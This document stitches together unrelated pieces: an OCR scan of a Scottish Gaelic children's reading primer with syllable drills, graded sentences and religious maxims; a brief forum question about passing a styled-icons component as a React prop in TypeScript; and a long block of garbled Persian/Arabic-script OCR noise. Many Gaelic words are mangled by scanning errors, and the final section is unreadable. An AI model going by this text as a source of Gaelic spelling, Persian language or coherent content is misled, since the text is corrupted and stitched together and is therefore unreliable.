bcdfghlm nprst
Na Foghairean Dùbailte.
ae, ai, ao, aii, ea, ei, eo, eu,
ia, io, iu, oi, ua, ui.
Na Foghaire Tri-Jìllie.
aoi, eoi, iai, ioi, iui, uai.
Ba be bi bo bu Ab eb ib ob ub
Ca ce ci co cu Ac ec ic oc uc
Da de di do du Ad ed id od ud
Fa fe fi fo fu Af ef if of uf
Ga ge gi go gu Ag eg ig og ug
La le li lo lu Al el il ol ul
Ma me mi mo mu Am em im om um
Na ne ni no nu An en in on uri
Pa pe pi po pu Ap ep ip op up
Sa se si so su As es is os us
Ta te ti to tu At et it ot ut
1. — Co e. Bac mi. Fàgmi. Fear
lag. Lean e. Togort. Bi maith. Glac
e. Dà là. Eun òg. Sè eoin. Ni mi sin.
Ro mhòr. Bean ghlic. Each geal.
2. — Is mi. Là ùr. Màl mòr. Cha
dean. An sud. Aon f hear. Cùig ceud.
Dol as. Mo chos. An dè. Cuir uait e.
Ro olc. Cha tig iad. An toil leat.
3. — Bha mi. Bha iad. Each lom.
Làn mòr. Tog mi. Tum sin. Mìr
clò. Mo rìm Ord mòr. Gu ruig so.
Fan riu. Eun beò. Tha e glan.
4. — Cas lom. Las i. La blàth. Mac
beag. Fan ris. Dit e. Tòrr mòr. Lean
mi f 'èin. Cuir as e. Cuir lùb air. Ros
hn. Ni e olc. Rach suas. Gu grad.
Dean thu fèin deas. Tha a' chlach trom.
5. — C'ar son a rinn thu so. Is tu fèin
e. Ni mi gu maith. Slat mhòr. Mol Dia.
Aig a' chù. Aig an luch. Cìil an tighe.
Mo làmh. Dean so. Tog ort. Ghuil
thu. Na dean strì. Tha e shm.
6. — Lus beag. Cha lom mi e. Cha
fuig mi air. Cum uam e. Bris an ni
so. Tha sal air Glan do làmli. Bha
e 'n so. Damh nòr. Làmli chlì Se
deug. Tha mi sgìth.
7. — Là fuar. Na dean breug. Clann
òg. Beinn mhòr. Sean aois. Tha mo
cheann goirt. Droch each. Aon mhìl.
Ochd eich. Duine luath. Dùin do
bheul. larr deoch. Ruig air so.
8. — Glac an t-iasg, Gairm air. Biadh
maith. Ghearr an cù mi. Buail an
clag. Tog suas do làmh. Glac e.
Fhuair i bàs. Tha thu ceart. IMo
chos dheas. Mo làmh dheas. Ni thu
gu maith. Fàg mi leam fèin, Na
guil. Bi glic agus trèig an t-olc.
9. — Cuir dhiot. Seas fad uam. Na
iarr orm. Faic an treud. Bi ciùin.
Tha a' chearc marbh. Leum e orm.
Chi mi e a rìs. Bha mi mach. Lean
e gu grad. Bord mòr. Lot siad iad.
Fear beag. Bha iad lag. Thog iad tigh
10. — Gabh tàmh. Rinn e cron. Lòn
bog. Seall air sin. Saor do mhac. Na
bi dàna. Cha'n 'eil mi dàna. Tha thu
crosd. Na dean breug. Bha e 'n so.
Tilg uait a' chlach. Cuir air falbh e.
Lean mi gu luath. Droch bheisd.
11. — Biasd eich. Gob crom. Ciiil
dhorch. Foltmocliinn. Tuadh gheur.
Sgian mliòr. Slat cliuilc. Oigh bhàn.
Crios grinn. Druim a' choin. Ceann
an eich. Gaoth chiiiin. Teann a nuas.
Thoir duais dha. Thuit e air làr.
12. — Fuildhearg. Gilleruithe. Maor
fulnn. Ceann maol. Cas chaol. Sùil
chlaon. Cuir do làmh air. Leac lom.
Caor mhaol. Uisge blàth. Bàrd binn.
Fras bheag. Brat hn. Feur glas. Bar
an f heoir. Crann crom. A' cheud mhìos.
13. — Carn chlach. Slatghrinn. Clàr
buird. Cath goirt. Duine glic. Bhris
thu e. Ubh eoin. Tigh caol. Thug
e leis iad. Earb thu fèin ris. Breab e.
Srian an eich. Cèir dhubh. Eas garbh.
Lèus teine. Teich à so. Loisg mi
mo làmh. Righ mòr. Fion geal.
14. — Buar a' chruidh. Fhuair e glòir
Là fuar. Lios càil. Ceud fear. Cùig
daimh. Fòid ghorm. Cnoc cruinn.
Tuill nan luch. Ceòl binn. JNIuc bheag.
Dian do cheann. !Na goid. Na leig
air falbh e. Cum suas e. Faic an
slochd so. Dhruid iad a mach e.
15. — Laoch treun. Bean chrosd.
Greas e. Meas nan craobh. Bha fearg
air. Is fearr e na so. Gean maith. Fear
breac. Dean c^reim air. Seall orm. Teas
an là. Gabh ris. Bha fearg mbor ah\
Rach a steach. Clach am fear iid
Thoh' domb mo chuid. Tha gruaim ort
16. — Suidh laimh rium Faigh mach
e. Tha e mar so. Tha an t-iasg bog.
JMo chluas chb. Tog leat e. Do chorp.
Lean an cìi. Gheibb iad bàs 'nan òige.
Tha Dia maith. Am bheil i sean ?
Tha mo shùil gorm. Ith do chuid.
Cha'n 'eil òr aig. An do loisg thu e ?
Tha a' ghrian teth, agus an là ciìiin.
bh, ch, dh, fh, gh, mh, ph, sh,
th, chd, Ibh.
1. — Balg mòr. Calg eorna. Feun
nomha. Tha e fann. Gabh ris an ni a
rinn thu. Cuir do làmh air. Rach a
mach. Nigh thu fèin. Cis mhòr.
Chaidh e san uisge. Pill gu luath.
2. — Dean maitli. I.eum suas. Cuir
siol. Thoir leat an duine so. Aran
geal. Damh dearg. Damh liath.
Brog bheag. Saor sinn. Tha fonn
ort. Greas an sluagh. Thoir a' chuid
do'n laogh. Falbh o'n tigh gu grad,
3. — Fan ris. Tilguaite. Cuiranndo
8
mhàilead e. Damh donn. Sùil chlaon.
Cearc riacli. Dean tigh dhoibh. Tog
do ghuth. Cha bhi iad 'nan tàmh.
Each bàn. JNIult mòr. Thig agus
suidhe laimh rium. Tha a' ghaoth a
tuath. Rinn iad cron mòr orm.
4. — Chog e ris. Thug e breth air.
Rinn e na dh'iarr thu air. Loch
nan iasg. Tom nan con. Stòl do chos.
Sguir dheth so. Am bheil thu tinn ?
Cha'n 'eil mi. Is maith sin. Cuir gu
bàs e. Tha an cù mall. Mhill thu e.
5. — Ceum àrd. Cùig deug. Feum
mòr. Geug ùr. Ceird mhaith. Leac
throm. Leum fad. Cord grod. Guth
binn. Earb bheag. Torctruagh. Tha
mi sgìth. Ruig air so. Sìn do làmh
chh. Fàg mi leam fèin. Na cuir fearg
orm. Tha thu ro-cheart.
6. — Buail mi. Thuit e uam. Tha
eòlas maith. Am bheil e marbh ? Tha
àm airson gach ni. Bha e leinn. Sgap
e an t-àl. Cuir o'n tigh e. Sè eicb
dheug. Aon damh deug. Tri choin
luatha. Cuig meoir bheag. Gabh uaith
an t-òr. Bi ciùin ris. Sgaoil mu'n
cuairt e. Ni na h-eoin cron.
7. — Ruith e mach Chaidh e stigh.
Tliog e air. Tlioir dliomli e. Tha
òr buidhe. Chaidh an damh chiim an
uisge. Ghlac mi eun òg. Ruith mi
'na dhèigh. Rinn e sealg. Dh' fhalbh
a chuid. Ghuil e gu goirt. Dean an
sgian geur. Am bheil an coirc maith ?
8. — Tha am meas pailt. Ni na h-eoin
nid. Lean an t-each an duine. Ruith
leis a' chloich so. Ghoid e an t-slat.
Bruach mhòr. Rùisg an tigh. Tha
dùil ris. Rinn e cuirm. Thèid mi
chum na fèisd. Thoir an aire dhuit
fèin. Am fac thu do mhàthair ?
9. — Teich air falbh. Ruith gu luath.
Thoir leat an t-aran. Cuir t'eudach ort
Nigh do làmhan. Rach do'n sgoil.
Glan an t-uan. Tha do leaba cruaidh.
Thuit an tuagh uam. Dean maith do
gach neach. Na biodh gruaim ort.
Chas e 'f hiacail. Ciod a ta e ag ràdh ?
10.— Ma's e do thoil e. Tha e 'na
dheadh shlàinte. Thàinig e an so an
dè. Cha d' flialbh e an diugh. Thoir
deoch dhomh. Spion as so mi. Am
bheil sgeul ùr agad ? Cha'n 'eil sgeul
air bith agam. Bha an là dorch.
Dh' fhàg an solus sinn. Tha an teas
mòr. Is maith a rinn thu
10
11. — Duine glic. Thananeoil liiath.
Ghearr e gruag a chinn. Na cuir as
an teine. Tigh nan cearc. Tha deich
meoir agam. Bruich an t-aran. Gearr
an f heoiL Feuch dhomh e. Bhiadh
mi an laogh. Tha guth àrd agad.
Thig am bàs chum nan uile. Tha mi
sgìth. Mo chlann bheag !
12. — Gearran lus. Sniomhgu luath
Biodh curam ort. Leig dhiot bhi
ri cluich. Sèid sole do bheul. Dh'iarr
e ort bhi maith. Thug mi an sgian da.
Ghabh e uam i. Leag mi am balla,
Am fac thu an solus ? Faigh an ni a
chaill thu. An gabh thu deoch?
Suidhe sios an sin. Tha an duine saor
13. — Rach mach gu ceann an tighe
Seall am faic thu neach air bith. Tha
cùig meoir air gach làimh. Am bheil
a' bheinn ro-àrd ? Ruith am fiadh gu
luath. Chaill sinn a lorg. Dà rann
dheug. Theich e le h-eagal. A rèira
rùin. Bhris e an cupan. Dhoirt e an
t-uisge. Na diult t' athair, agus bi a
ghnàth umhal do d' mhàthair.
14. — Bi rèidh ris gach neach, agus
oheir iad gràdh dhuit. Thoir cliu do
Dliia ; dean urnuigh ris, agus iarr air
11
do chumail o olc. Is e Dia a rinn mi :
Is e a làmh a chum suas mi, agus is e
a spiorad a thug tuigse dhomh ; uime
sin bheir mi cliu d'a ainm.
15. — Roimh sgrios thèid uabhar. An
ti a ta fiar 'na chridhe cha'n f haic e
maith. Ge b'e ni olc air son maith cha
dealaich olc r'a thigh. Thig an lundair
gu bhi 'na dhuine bochd. Thèid beul
nan daoine glice gu ceart aìr eòlas.
Tha an duine olc a dhìth eòlais, agus
fear nam breuf]^ a dhìth tuiffse.
fF, fl, sl, fi, sh, st.
1. — Dh' fhàs e balbh. Chlach iad e.
Chuir e dragh orra. Teich air falbh
uam. Tha an slighe garbh. Marbh
a' chaor. Srian laidir. Mart bochd.
Righ maith. Laogh truagli. Gabh
pramh fhois. Ghlac sannt e.
2. — Tachd an luch. Thug e breth
orm. Sreth bheag. Chlisg mi. Chaidh
e an sàs sa' chrè. Mhill thu an obair
Chaidh e fo mo chridhe. Pliill mi
do m' thigh. Dh' f hàs mi sgith au' an
t-slighe. Thilg mi clach air. Bha an
duine boclid. Thrèio; a charaid e.
12
3. — Duine balbh. Gaoth reòtaidh.
Bean bhochd. Rug e air làimh orm
Mhùch iad an teine. Chaill iad an
còir. Dh' ar e leis na daimh. Thug
e na h-eich a steach. Chaidh e chum
an adhlaic. Bha gràdh aice d'a bràthair.
4. — Sgrud e a chridhe. Thùch am
fuachd mi. Thulg e an soitheach.
Chaidh e air astar. Chaill mi mo
sporan. Gabh truas diom. Seòl mi
air an t-slighe. Ruaig e mi. Rinn e
caoidh. Bheir mi duais dhuit. Sgaoil
do bhrat. Na gearr do làmh. Tha an
là ciùin. Dean an ni tha maith.
5. — Tha an damh olc. Chaidh a
chaor a lomadh. Bha an righ ceart.
Stad e sinn air an t-slighe. Imich
chum an tighe. Feuch dhomh do
chòir. Na dean tàir air. Tha dòchas
agam nach dean e olc. Is e Dia thug
dhomh na h-uile nithe. Tha esan
maith agus glic.
6. — Bha a' chraobh fo bhlàth. Rinn
a' chlann gu maith. Fhuair iad cliu.
Cha robh goimh ann. Bha e ro gheur
Ghluais e roimhe. Ciod an sgeul a
chual thu ? An deach an treud scach-
ad ? An do ghlac thu iasg ? Suidh
13
sios air a' chnoc so. Thoir giòir do
Dhia, oir tha 'ainm ro naomh.
7. — Rach gu toileach do'n sgoil
Cum thu fèin glan. Na biodh toil
agad do dhroch chleachda. Shearg a
chraobh. Thuit an duilleach. Bhris
iad an geata. Chaidh na h-uain ris a'
mhonadh. Chaill am buachaill seall-
adh dhiubh. Gheibh gach neach bàs,
agus taisgear iad san uaigh.
8. — Am bheil thu sean ? Cha'n 'eil
mi ro shean. Am bheil an duine
iall? Tha e faicinn beagan le aon sùii.
Ciod a rinn thu? Ghearr mi mo
ìàmh. Tha an lagli fìar. Cha chum
ni air bith air falbh am bàs. Thilg
se e bun os ceann. Ni tuigse duine
mall chum feirge.
9. — Bheir leisg air duine tuiteam
ann an trom chodal, ach gheibh cridhe
nan daoine glic eòlas. Is fearr gliocas
na òr ; agus is cuirm a ghnàth an cridhe
ait. An ti a ta mall chum feirge, tha
e pailt ann an tuigse. Is e crioch slighe
an aingidh am bàs. Is craobh beatha
an teanga fhallain. Is beag air an
fhìrean slighe chlaon.
1 0. — Cha'n f heud sinn olc a chur an
li
gniomh. Cuìr uait am beul fiar, agus
bilean breugach cuir faduait, Is duine
nach fiu f'ear aingidh. Ni làmh na
leisge bochd. Tha miann nam firean
maith. Is aithne do chridhe an duine a
bhròn fèin. 'Se eòlas crùn nan daoine
glic. An neach a ta fiar agus fealltach
'na chridhe cha'n f haic e maith.
11. — Bhruich thu an fheoil tuille 's
fada. Tha fion 'na dheoch laidir.
Na rach an urras air neach air bith.
Le toradh bèil duine iionar a bhrìi
Air son an fhuachd cha treabh an
duine leasg. Na imich maille ri droch
chloinn. Tha a' chìr mheala milis do'n
bhlas. Cha bhi crioch mhaith aig an
droch dhuine. JNloladh neach eile thu,
agus na b'e do bheul fèin.
12. — Thèid droch chlann gu dàna
clium an uilc, ach ni a' chlann ghlic
gach ni a ta ceart. Tha an ceann liath
'na choron glòire do'n duine ghlic,
agus is tobair beatha an tuigse do'n ti
aig am bheil i. Cha mhair beartas gu
bràth, agus cha mhair an crùn o linn
gu linn. Cha'n abair an uaigh agus
a]i teine a chaoidh gur leor e. An
neacli a bheir do'n bhochd clia tig dìth
15
air. Clia'n 'eil ni naadh fo'n ghrèin
Am gu gul, agus àm gu gàire.
1. — Abair ris bhi maith. Tha acain
mhòr aig. Chi thu an t-adliar dearg.
Agair e air son a chionta. Bha dà
altair anns an tigh. Cha d' amais mi
air a' chloich, Dh'fhàg iad mi a'm'
aonar. Dh'f heuch e gu'n robh e 'na
dhuine fial. Faigh gliocas, agus gheibh
thu urram, agus mòr mheas.
2 — Na creach nead an eoin. Na
biodh do chodal trom. Dean gach
maith a ta a'd' chomas. Biodh cùram
ort do'n sgoil. Chuir thu fadal mòr
orm. Na leig do thaice ri do ghliocas
fèin. Thoir urram do shean aois. Na
dean strì ri duine gun aobhar. Tha
sgàth orm roimhe. Cha'n 'eil neart 'na
làimh. Gluais gu ceart.
3. — Galar goirt. Tinneas cruaidh.
Spairn mhòr. Bha gorta san tìr. Fhuair
e cliu do bhrìgh gu'n robh e 'na sgoileir
maith. Tlia bean mhaith 'na crùn d'a
fear-pòsda. Thàinig clo codail air. Tha
solus nan siil prìseil. Theich sgàile na
h-oidhche 'nuair dh'èirich a' ghrian.
16
Cliiial sinn osna aig. Rinn e miodal
ris an duine so. Cliuir iad campar air
4. — Cha'n innis duine maith breug ;
tha gràin aige do'n olc, agus do gach
neach a ni e. Cha chreid neach air
bith a' chlann nacli innis an fhìrinn
Bithidh fuath aig Dìa dhoibh, agus ni
e peanas orra. Na dean breug gu bràth,
agus na claon o'n t-shghe cheart. Na
dean gearan gun aobhar, agus na falbh
maille ri luchd tarcuis.
5.— Cha'n aithne dhomh ainm na
cailin sin, ach tha sluagh ag ràdh gu
bheil i ro leasg. Cha sniomh i aig
an tigh ; cha leugh i san sgoil, agus
cha'n 'eil tlachd aice do ni air bith ach
do chluich. Tha e 'na nàire dhi bhi
diomhain. Cha bhi Dia 'na charaid di,
agus cha'n urrainn dùil a bhi aice ri ni
maith air bith uaith.
6. — Islich thu fèin an làthair Dhè,
agus bheir e gu urram thu. Dean ur-
nuigh ris, agus bheir e dhiut gach ni
tha dhìth ort. Cuir do dhòchas ann,
agus chatrèig e thu ; agus fàg thu fèin
an taice ris, agus cha diobair e thu :
Bheir e dhuit miann do chridhe, agus
aon ni maith chachum e uait.
17
7. — Tha mi nis san sgoil, agus iiime
sin feumaidli mi aire a thoirt do na
nithe abhiùneas do'n sgoil, — mo leabhar
a leughadh, agus bhi umhal do thoil
an f hir theagaisg. Is còir dhomh bhi
taingeil gu bheil comas agam dol do'n
sgoil, chum gu'm faigh mi fòghlum,
agus eòlas. Tha neach gun eòlas air
bheag meas. Sgriosar miann nan ain-
gidh, agus bheir cridhe cealgach duine
gu bochdainn.
8. — Cha chòir do chloinn òga bhi ri
connspoid. 'Se an diabhul athaii
nam breug, agus ùghdar gach droch
ghniomh. Is còir do gach neach teachd
beò an sìth r'a chèile, agus an sin bith-
idh iad cosmhuil ri Dia, a tha 'naDhia
gràidh agus sìthe, agus a ta maith
dhoibh-san tha gluasad gu ceart. Tha
fearg agus tnù 'nari cùis eagail Stiùir
Dia a shluagh Israel le neul san latha,
agus air feadh na h-oidhche le solus
teine. Sgoilt e a' chreag san fhàsach,
agus thug e deoch dhoibh.
9. — Cha'n 'eil e maith gu'm bi an
cridhe gun eòlas. Cha chuir clann
ghlic fearg air neach air bith ; clia
mhill iad ni sam bith, agus cha bhi iad
18
leasg gu dol do'n sgoil. Ni droch
chlann a rèir an toil fèin, agus uime
sin cha bhi meas aig sluagh dhiubh.
Cha chluich iadsan air am bheil eagal
Dè air là na Sàbaid, ach bheir iad an
aire gu'n glèidh iad an là siri naomh
A mhic coimhid àitlme t'athar, agus
na trèig reachd do mhàthar. Gabh
grainn do uabhar agus do ardan, do
dhroch shlighe agus do bheul fiar.
10. — Cha tèid duine air bith as o
shaighead gheur a' bhàis, agus cha
phill e air ais o thalla dorch na
h-uaighe Tha a bheatha air thalamh
gearr, agus neo-chinnteach. Mar
bhlàth thig e mach agus gearrar sios
e : Mar sgàile teichidh e agus cha'n
f han e : Amhuil a ghabhas neul luath
nan speur seach, mar sin esan a thèid
sios do'n uaigh cha tig e nios, agus cha
phill e ni's mò chum a thighe. Uime
sin is coir do gach neach bhi deanamh
deas fa chomhair a' bhàis, air eagal
gu'n glac e iad 'nuair nach 'eii dùil aca
ris
a' chiuoch.
|
<p>when I try to pass styled-icon as prop to component, i get an error: </p>
<p>Unhandled Rejection (SyntaxError): Unexpected identifier.</p>
<pre><code>import { PersonOutline } from 'styled-icons/material/PersonOutline'
</code></pre>
<p>here is props for my TextField component</p>
<pre><code>import { StyledIcon } from 'styled-icons/types';
interface IProps {
type: string;
placeholder: string;
icon: StyledIcon;
}
const TextField = (props: IProps) => {...
</code></pre>
<p>and my TextField looked like:</p>
<pre><code><TextField icon={<PersonOutline size="20" color={colors.gray500}/>} type={'text'} placeholder={'Name'} />
</code></pre> |
مج
خر
7 5 ۱
۱ 7 !اب دای سیر اک ور رسد
| موس ند و را
۰ | ساسا
7 70
درم ی رت نیش ت#ای مایت مس
ک
1
1
, ۳
ِ<
4
۰ ِ 2 ۳۹
سس 77 ردان 1 ۱۳| ۱
ر ۱ ۳۷
0
ک یر مر : ۰
شمارا زرح رترب وداوان ۳۵2۸۱۱۷ ۱ ۱
0
7
7
» ۳
ص_ 1 مر شمه
رن 2 1
0
سا « لاش دار
/
۱
۰
یه ۳
رو مه
وت
تِِ یر ۳
۳
۱ /
۰
5 تس
۲ هه 2
یز 3 | ی 2۳
۵ + .۰ ۰ ِ»" 1 ق
سی ایا وش وا وود
,ادرتیا رنردا 7
ات"
2 ی ۰ ۰
وشارم لا ی
۱
رن رن بسن مسب ون کت
و 3 ت
بش از (سواب ون و ی سل ۳7
ِ ۱
بور رت | رم رم دور ال
رع نی ۳۶ و بت نیز نزن و را
۰ ً
شر ۳ وی« برلنت س اضب درل نزن
7
7 7 ارووز نز ارات
اند سپ لبم ال زنل اثدلن مد شمان ۱
۳ ۳ 3 1 3
ارفا رارسا | 4 روشمهلاط(ارت ولیلادت )را زشتسوادای
4«
ی ا 0
س درک ارو یتشد دیع رک رونت
۱ 3
اکیء زن شش ور وم شدون 1 ۱
تِ
| 4
دریس کت ی ۱
۳ رامم اژان دمک ری :8 رن
نار اوشت له 0
۱ ای لب وکام رایمه و ۷" این
ار 0 2
۰/
تب
هچ وج
ام 7 ۶ وچ
اي راي نوی ی «مرست بیع ۱
۱ 72 سید« در 2 39 وتو 5 7/۵
کمیز) ی کر قاری وش ای
ت روا کت 0 فف
وا درانعای(ه رفن ی ال رن یک
او ضررست ار ری پست سکن مت رطف
نکر مرا سارت رارف ریت و ۷" ۳ اراس رت
رتست سای عیرست
سا ام یز اه ۴ ) ات دنا ونست ریش یروا
شرنم(رات دی نوی رات راون 2
وین ۲ یت
رتفا رن مرانک دک میرن زر ون / ورتکلا
/ ی سر درل
سک تیب بلط ن سین دارتوزین راز ۳
بت باس یروس نان ۳ نسبت
موی ضایر 9 ۱
چسه 1
رت ۲۳[ 9 ۱
۱ دسا گر فا سب | در اج یاسور
۰ 2 ۰ ی ۷
عاراو ادا هداد اسان کرو رکس کت ود
مب رجا ارادم تست پر
مروار تس رد نزن وا دیا درو رقب ۳ ۳
یونم تنس مر
الراخ لتق بان نی نکم ۱
ی 3 7 9
بلج پر اي ال مور ارت ۱
۰ ۰ 2 ۸ ست
رت بار ورف یروک رل داستی ما۳۷ | |
۰ : ۰ و و مس
از ارراست ریزو ارو ۵ وودرمراست ای ۲۳
و قاس را ۵ ۳ 7 :|
۷
1 ۳ ۰ ۲ را
رسای راز یاهنت ویر مرو ابا« 7 ۱
7
72۸ 2 ۰ ۱
ری ور ریا ب بان اسف ۱
۳ 7 ۳
را بیان یناکت مایم ۳۳ ۱ 0
۱
۰
۳ ۰ گم حم وه ۰ ۱
تاد زوس کاس نا رکشت ای بر ۱
2 و ۱۱۳
رن تاره درد هن عا لک و هه در - ۱
1 دی کت
۰
رز
سل
۱ ویو رم ری ین ره رسای یار ]
اش یکتین مر را منت کار ردار؟ یارب
تن انم شرت کست کر دروب برق
نیزر زر دورن نم و رکشت ۶۱ 3
ان مان ور اج شین نت رت
2 م4
ار ره
7 ال ندال بادرر دالارت مگ رس کلم
ات رو رن راو تن یت اد
۳
روط ادا ۳ هدن ۲
رب
]امست انیت ازور را روم 6 ان کیت ریز رمک
و
0 ۱ و ۳ ی
| ار بط روا وترسسمراترد دیا ری اوردند ا ها دورد
۱
۰ درو
۰ 1 7/۰۳۵
۳ را ست میرکت یمتا امرخ روموت
دب او
| لین ششک ورهار
سگرن رال رسد دای ور رین
درا ثراو ات دیزی رای ولو ته
و سح
5 0 72 سا |
|
ت 1
۱
۱ ۱
ا سوه یج مدمه را ریت زر ۳ ۳2
دار لب ی رفتسیان و مر
هم م 2 ی
تور وروت ولو رورا زب ۱
۳ ور
نار ۱
»1 7 هدن سم ِ ۱
کت یه
7 2 سور ۳ 7
ده !یلیل مور ور مور درد او لت
۹
رتست وسرطرداست اون مراست وم
ٍ رن ۰ ِ« جورو
س دریگن مسادی مه «برن ال وال[
۲ ال یج درا مرس )را
مب
مرن رت مسر
مخ مد که بران تا
مرن یمین ست ایض کال ۶
اي مرو با
۱ ری مان ۳
9 ۱
1 وب وکا ون زک
۱
ددرت نو نتم اررست وشوو
أ ۴
۶
۱ 0 سس بس تکرا یرای
۱
۱ ] 7 ابو نی رای فرشم هط یرو رت
۱
کا و لول ی رک ید کال مرن
اد زک مرن لین نی ۱
سس |
| سح ِ ۱
5 ی مس سپس سس سس
ححححر 2 ۳
۳ ور ۳ بت ری ۱
من ش کر نی
۱
ری ر رن مرت مرن ان دی
3
ما نسجديم / لش ورس کته در ره
ات .19
رو ندش کم
ها ۳ و 7
مر و بت 2 وی رات امدت رات
کا کت دم مورا روم ریش یواژ
بای مرصنیل ام مب ررده بت منت
رس تج موی زر لا
سر ن متام دراه ترش | ایب رال
في مولشت و م1 ارف 0
۳ ی ز ی 4
# یبال اسان یل ااید ااست بای ون ۱
و ماه رم ض جه سره تا
مهد یریسم داب اش راما 1
مسن ۳ رادیب میدن
و یدصت نا ۳
ای
دواد بان ده يم سای دک نیت یت
بان درون ون اسب اد وتات دا در بت
مارد یکمک مروت ورس هم
ول ناش سب سپ رس
7 2 4 ۳ ی
یرای دا رکشت دی درا رو مس در ۱۶ پدرور
م۸ وا 22 رم کحم
7 کی چدپرووای نا لمدی +
هت را رس مزاع ارف ره مت
را بشرا سید( الکو ی تن ال روما ی درم دایز
/
و 4 7
مک چرزن! رن سا ۳7 زالمراس مس ادا اسان ۱
تن و
ارت ششدردب رت یگس رکان اسب دم 7-9
و جر و یا ۰ ۳ ۰ ۳9
باس سنا م7 شا مدع ور سم | اب
دنر دپ اد یکاش دامن ل:
| نید لوا یکشه,روازانا رن شا معط
۰ بانط وه هب مر
جرا رو یک منت اس شین ون دشر |
:7 ۰ : : /
اشست
1 دای 7 دی ی
2 0 ۷ب
وضو کرو اس ینوا ل تور زو صا نسح( ||
5 0 ۴ 1 آٍ
دسر سر دم ود یت رین 9
کا ی روا مرن یسوم طاسب دای له ی 1۶( ۳
و اد ماه 1
کرو کت 4 ل کت 0 :
مه رد گنت بر تورراست یمین ورن
اش 8 اد یت شخ سب کول ۱ ها
تام لس زرا لرر یکطا ورن لبییکر |
ی مت یبن نم ارت با
و رن همست رضت نج
ماپوی در مینست اب
271 نع اد و ی
ا مت شدورای مت رومنع) ولو ناه ال
و و
ِِ« یز کدبرو مر یشور | رن
اي زر ی وونل نسم
روا وم مت دبا
يمن + وار ثِصٍِ_۳
شت دی وه مان اتود 9 رک منت
یمرو 7 هم رک موم ون ات ار
۱ ي نا رنه مب ان
رو رک یه ره ان مک بت
رب زاس تام ا زا غیت پر ان وس
ست
رل رت« بیس وافثم دصر زر
۱ مینست نکمم روش ار یرو ٩9 +
اف 7/۸۰ ۳ ۰ ۰ ۹
اند اره سین
باق نع ان رجنم
ند رکشت مامطا, سرا شمسا
۱ مطل زره سید در ات ای درویت ما
۱ | رجنم 0 رد من ریت ارفا نا
]۱
اه
۱
2 ندب ی 1 وی
/
مك
|بست لت ات رین از _ دووزرو اب من ا
7/۱
اب رت سراخدن دفم سپیابه و
ٍ ی 27 0 , 1
دنچ دلویمرو درگ بت ما ۱
ید مه #۶ ۳ مر
اکن مرچ رتست را يم در مرو زاب رانا
یج و وت ] ۱
شرت نیرب و مامت سرزت و یواست
۳
7 ۸ ۲ و
این تسایر و صان ارام مرست زو ۱
مه رکفت وانام کون شور بت ی
۳ ۳" ۰ و و
رشره وزرا گزشت وین و ریت پانتخعا رت ۱
۰ ره ارت
کشت !ول درکرید کشا یی رواشان) ۱۱
شست نی اد نتسب وی را ما ث ۳
سر یار رت سم | ۳
مر را رک ات
سر یگس بترم #س) ۱۳۳۹۹ یل راما
۱
۱ ۱
رن نات ی 2 ۱
/
چا
۱
کل
5 ی 2 2 5 > سب
من ایک دادما
1 مدیم باعل ای تست کی
: ارت
اسر ک ۹ رل رازن را درو وشت ویدار
۸
بسانت 2 دوکر را درو را سبت وان :)
نکن ورپ نت رخ
و کشت مرن رش |
پا اش رون فش مسب وشت مرک«
وم ۳ رت مامت ومرو بر یک بر رای #ن دم
نایم دروم زد اندل) ما ار رو روسپاردی 7
ست ال او ی ات۳ ن مت ام
رنت ورن ری رن نص| و رواد ری در
سیدانشام مرش 1 ال ی
ی شش تاره تشن دی اه
یلا سگرن سيم رو مزر 7 تک رک 3
۶ ن ارطا رازن توارط و2
۱
7 1
۱ وت( تن 3 رد 22 ۱
کر ام مت پضت تا نک ريز
ور رمق در
تیلب 0 نیزا بشدرتت |
رن این را
اور ت۱۳ باکت هر رکفت ام ۱
کرام ارم یی انیت شوت رات رس
رتیت زد یو موش مک( / رکفت( روت
ره بیرق که ۱
يد کی ری پل
0 رت ریس سردا ۲
او سرت را رس مت
یهت نت نت1 رز شخ زگ |
زک مه 0
ما گنت ب رت ی ۱
2
أ رشن دید میوقت ی
را
زین رد 7 رکشت ۶ ون ی اس اجک روخرری ۱ ۱
ان دی »ان ب مت «نین تست مرف تین ۱
گر فک یج مزر 7 اروش ۱۳ ۱
اسف موز لت نب ون ام وا
مری مات زیم ارو بل ۳
کیش ایا بان 0 و
رخا عران شرر اسان دنک اماب یر رن ۱
تست وزرب ) رت ابش و
یال عم شیاسرف من ور باتک
رامیت بر رو زین ات
1 مرب تا امری دار رک و ار سمش وی
فت دور رین کیدزن بت سرت
ی 7 (// بسن
| کدی ونر واکاز ک ان ۳
ار یش تن رن شین کم جرک
7
۱
تک
رن کاس ریک یت بکا یم ۲
پر نم ان دا ریت 7 رید
۶ رابت درگ ار ار مت سیف دب روپ لت ۱
رواب و 7 تن مت مت / سردا
ار نت ند مت نتن ب رنه
انتشو] زان مرو رونت 2 1
1 ۳ مرت شتا رم 7 پا
بر کم داي نت ۱
ز رو یت رت کیت اس 7
زف سین رزیت وروت نها
موم تست رهم ین وت سر ۳
0-0 بت یوروش تک مر روت ۱
شیک توسته) / در
اش تام انیت شیاین ترری «طن من زالتگ۱ ۱
مر رون بل | ۱
اد
1 [ن سکس ی تور راب
۰
معا ال مک ۷ و"
۹
| آور ررشیت تایب شوت عضت (ات بسچ
۱ دستست دز شنم شیک( کت
ام مر است ی
4 کین بر مرب تلم وت
7 و مزر ی پم وتا
ریت باکر بایان ید 7 مسر ۳
۳ ی
1 ذییتانران تا ی ورن ميت نت۳
ند مزب
۱ برل مت ماو یرواد دنس عسد منک شرا یم
۳ شمسا بو
را يس
ایک میت گر
۳۳۹
بت
اا۲"
رترب و ِ <-سچحص
در 2 اگراژاوسووسوا سل 7 ۱
1 , ما
م7 مد رای برد وم کر ور رک رید و ۱
۱
شست و روگ 2 نت بر وو طلست وه نک ۳
شم مر یگ تک راز خغاست زاین | مرو من ره ۱
سترن مرت کدرا رای ی
کیربت من بت
کشت )یتکرش ردان ی و
مرالست ول ۳ اک ی 0 را
روم ار مگ۳ا؟ ی رت الک کت
۳ وود رکفت رن مت اب
جرب گنت رس بیترت م2 ۳
9
۱۳ 2 3
هدیس ینت نمی کر
داضت زا ری وم
۹ ۲
را ۱ ۱
و 1 اور وم ار بت ۳ دیا ان رو ۳ ۱
۱ ۱ ۱
) /
۷ 7
حصت. محی
وود 07
۱ یت ۰ لامرن
۳ است وت کر
۳
3 3 مت
داش انامه ات ابرم ری بتوال سا :
۰ 5 ۳ بت زوا
مات لت ز |
"7
دب مس اسر را و بر مرک 2و9 ۳
مرو ورس رورا امروزوپ رابت و ور رورا
3 بت
دیس عادبا ما
۳ وا 6 0 71
